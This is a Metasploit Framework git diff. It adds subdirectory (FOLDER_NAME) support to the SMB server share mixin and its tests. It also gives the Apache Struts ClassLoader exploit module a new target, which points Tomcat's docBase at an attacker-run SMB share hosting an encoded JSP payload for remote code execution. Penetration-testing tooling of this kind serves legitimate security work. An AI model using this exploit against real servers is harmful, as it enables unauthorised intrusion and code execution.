diff --git a/lib/msf/core/exploit/smb/server/share.rb b/lib/msf/core/exploit/smb/server/share.rb index a014f8911f..b23c0ebdac 100644 --- a/lib/msf/core/exploit/smb/server/share.rb +++ b/lib/msf/core/exploit/smb/server/share.rb @@ -175,10 +175,9 @@ module Msf # @!attribute share # @return [String] The share portion of the provided UNC. attr_accessor :share - # @!attribute path_name + # @!attribute folder_name # @return [String] The folder where the provided file lives. - # @note UNSUPPORTED - attr_accessor :path_name + attr_accessor :folder_name # @!attribute file_name # @return [String] The file name of the provided UNC. attr_accessor :file_name @@ -199,6 +198,7 @@ module Msf [ OptString.new('SHARE', [ false, 'Share (Default Random)']), OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']), + OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']), OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)']) ], Msf::Exploit::Remote::SMB::Server::Share) end @@ -207,7 +207,7 @@ module Msf def setup super - self.path_name = '\\' # TODO: Add subdirectories support + self.folder_name = datastore['FOLDER_NAME'] self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3)) self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3)) @@ -224,7 +224,13 @@ module Msf # Builds the UNC Name for the shared file def unc - "\\\\#{srvhost}\\#{share}\\#{file_name}" + if folder_name + path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}" + else + path = "\\\\#{srvhost}\\#{share}\\#{file_name}" + end + + path end # Builds the server address. diff --git a/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb index 0d4de63fdb..a21828cffa 100644 --- a/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb +++ b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb @@ -32,7 +32,12 @@ module Msf attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL eof = file_contents.length is_dir = 0 - elsif payload.eql?(path_name.downcase) + elsif folder_name && payload.ends_with?(folder_name.downcase) + fid = smb[:dir_id].to_i + attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + eof = 0 + is_dir = 1 + elsif payload == "\\" fid = smb[:dir_id].to_i attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY eof = 0 diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2.rb b/lib/msf/core/exploit/smb/server/share/command/trans2.rb index 09bb38d152..5168c4cfe0 100644 --- a/lib/msf/core/exploit/smb/server/share/command/trans2.rb +++ b/lib/msf/core/exploit/smb/server/share/command/trans2.rb @@ -87,8 +87,8 @@ module Msf def smb_expand(path) search_path = path.gsub(/<\./, '*.') # manage wildcards extension = File.extname(file_name) - if search_path == "#{path_name}*#{extension}" - search_path = "#{path_name}#{file_name}" + if search_path =~ /\\\*#{extension}$/ + search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}") end search_path diff --git a/lib/msf/core/exploit/smb/server/share/information_level/find.rb b/lib/msf/core/exploit/smb/server/share/information_level/find.rb index 802c8866ba..9537e35432 100644 --- a/lib/msf/core/exploit/smb/server/share/information_level/find.rb +++ b/lib/msf/core/exploit/smb/server/share/information_level/find.rb @@ -21,8 +21,15 @@ module Msf alloc = 1048576 # Allocation Size = 1048576 || 1Mb attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL search = 1 - elsif path && path == path_name.downcase - data = Rex::Text.to_unicode(path_name) + elsif path && folder_name && path.ends_with?(folder_name.downcase) + data = Rex::Text.to_unicode(path) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 0x100 + elsif path && path == "\\" + data = Rex::Text.to_unicode(path) length = 0 ea = 0x21 alloc = 0 # 0Mb @@ -52,8 +59,10 @@ module Msf def smb_cmd_find_file_names_info(c, path) if path && path.include?(file_name.downcase) data = Rex::Text.to_unicode(file_name) - elsif path && path == path_name.downcase - data = Rex::Text.to_unicode(path_name) + elsif path && folder_name && path.ends_with?(folder_name.downcase) + data = Rex::Text.to_unicode(path) + elsif path && path == "\\" + data = Rex::Text.to_unicode(path) else return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true) end @@ -68,6 +77,7 @@ module Msf # @param path [String] The path which the client is requesting info from. # @return [Fixnum] The number of bytes returned to the client as response. def smb_cmd_find_file_full_directory_info(c, path) + if path && path.include?(file_name.downcase) data = Rex::Text.to_unicode(file_name) length = file_contents.length @@ -75,8 +85,15 @@ module Msf alloc = 1048576 # Allocation Size = 1048576 || 1Mb attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File search = 0x100 - elsif path && path == path_name.downcase - data = Rex::Text.to_unicode(path_name) + elsif path && folder_name && path.ends_with?(folder_name.downcase) + data = Rex::Text.to_unicode(path) + length = 0 + ea = 0x21 + alloc = 0 # 0Mb + attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + search = 1 + elsif path && path == "\\" + data = Rex::Text.to_unicode(path) length = 0 ea = 0x21 alloc = 0 # 0Mb diff --git a/lib/msf/core/exploit/smb/server/share/information_level/query.rb b/lib/msf/core/exploit/smb/server/share/information_level/query.rb index fe0c9b972e..726d7306b3 100644 --- a/lib/msf/core/exploit/smb/server/share/information_level/query.rb +++ b/lib/msf/core/exploit/smb/server/share/information_level/query.rb @@ -48,15 +48,12 @@ module Msf # @param c [Socket] The client sending the request. # @param path [String] The path which the client is requesting info from. # @return [Fixnum] The number of bytes returned to the client as response. - # @todo Delete elsif comment if testing proofs it as unnecessary def smb_cmd_trans_query_path_info_basic(c, path) if path && path.ends_with?(file_name.downcase) attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL - #elsif path && path.ends_with?(file_name + '.Local') - #attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL - elsif path && path == path_name.downcase + elsif path && folder_name && path.ends_with?(folder_name.downcase) attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY - elsif path.nil? || path.empty? || path == "\x00" # empty path + elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY else return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) @@ -74,9 +71,9 @@ module Msf def smb_cmd_trans_query_path_info_standard(c, path) if path && path.include?(file_name.downcase) attrib = 0 # File attributes => file - elsif path && path == path_name.downcase + elsif path && folder_name && path.ends_with?(folder_name.downcase) attrib = 1 # File attributes => directory - elsif path.nil? || path.empty? || path == "\x00" # empty path + elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path attrib = 1 # File attributes => directory else return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) @@ -101,9 +98,9 @@ module Msf if path && path.include?(file_name.downcase) attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL - elsif path && path == path_name.downcase + elsif path && folder_name && path.ends_with?(folder_name.downcase) attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY - elsif path.nil? || path.empty? || path == "\x00" # empty path + elsif path.nil? || path.empty? || path == "\x00" || path == "\\" # empty path attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY else return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index df4cb78bdf..0cc50bebb5 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -8,9 +8,10 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # It's going to manipulate the Class Loader - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::EXE include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SMB::Server::Share def initialize(info = {}) super(update_info(info, @@ -27,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Mark Thomas', # Vulnerability Discovery 'Przemyslaw Celej', # Vulnerability Discovery - 'Redsadic ' # Metasploit Module + 'Redsadic ', # Metasploit Module + 'Matthew Hall ' # SMB target ], 'License' => MSF_LICENSE, 'References' => @@ -46,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 5000, 'DisableNops' => true }, + 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ ['Java', @@ -65,17 +68,28 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_X86, 'Platform' => 'win' } + ], + ['Windows / Tomcat 6 & 7 (Remote SMB Resource)', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'win' + } ] ], 'DisclosureDate' => 'Mar 06 2014', 'DefaultTarget' => 1)) - register_options( - [ - Opt::RPORT(8080), - OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]), - OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]) - ], self.class) + register_options( + [ + Opt::RPORT(8080), + OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]), + OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]), + OptString.new('FILE_NAME', [ true, 'The JSP file with the payload (target dependant)', 'HelloWorld.jsp']), + OptString.new('FOLDER_NAME', [ true, 'The Folder where the JSP payload lives (target dependant)', 'example']) + ], self.class) + + deregister_options('FILE_CONTENTS') end def jsp_dropper(file, exe) @@ -199,6 +213,34 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + if target.name =~ /Remote SMB Resource/ + begin + Timeout.timeout(datastore['SMB_DELAY']) { super } + rescue Timeout::Error + # do nothing... just finish exploit and stop smb server... + end + else + class_loader_exploit + end + end + + # Used with SMB targets + def primer + self.file_contents = payload.encoded + print_status("JSP payload available on #{unc}...") + + print_status("#{peer} - Modifying Class Loader...") + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'version' => '1.1', + 'method' => 'GET', + 'vars_get' => { + 'class.classLoader.resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}" + } + }) + end + + def class_loader_exploit prefix_jsp = rand_text_alphanumeric(3+rand(3)) date_format = rand_text_numeric(1+rand(4)) @jsp_file = prefix_jsp + date_format + ".jsp" diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index e47f5de030..e524c4a34b 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -64,6 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr']) ], self.class) + deregister_options('FOLDER_NAME') deregister_options('FILE_CONTENTS') end diff --git a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb index 55cd0236ec..a2f4c18ba6 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) ], self.class) + deregister_options('FOLDER_NAME') deregister_options('FILE_CONTENTS') end diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb index faba5c8d80..b94ea59918 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -79,7 +79,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'false.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb index 7d424ffd89..31d24d8038 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -67,7 +67,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'false.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb index 254c73e829..d8316a6e0b 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -78,7 +78,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'false.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index a649c76774..f4d861ee8b 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -36,7 +36,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb index 7b1e9f5a3e..f161bd65df 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -35,7 +35,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb index 705b231c5a..462ecfba55 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -48,7 +48,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb index cf8e910343..0c14918510 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -78,7 +78,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb index c5737a5714..2f36bdcaa7 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -84,7 +84,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit' @@ -198,7 +197,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct smb_data.from_s(data) - expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path)) end end end @@ -263,7 +262,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct smb_data.from_s(data) - expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path)) end end end @@ -328,7 +327,7 @@ describe Msf::Exploit::Remote::SMB::Server::Share do smb_data = Rex::Proto::SMB::Constants::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct smb_data.from_s(data) - expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(mod.path_name)) + expect(smb_data.v['FileName']).to eq(Rex::Text.to_unicode(folder_path)) end end end diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb index 4a2482eb9e..049d13d122 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -79,7 +79,6 @@ describe Msf::Exploit::Remote::SMB::Server::Share do mod.lo = 0 mod.hi = 0 mod.share = 'test' - mod.path_name = "\\" mod.file_name = 'test.exe' mod.file_contents = 'metasploit'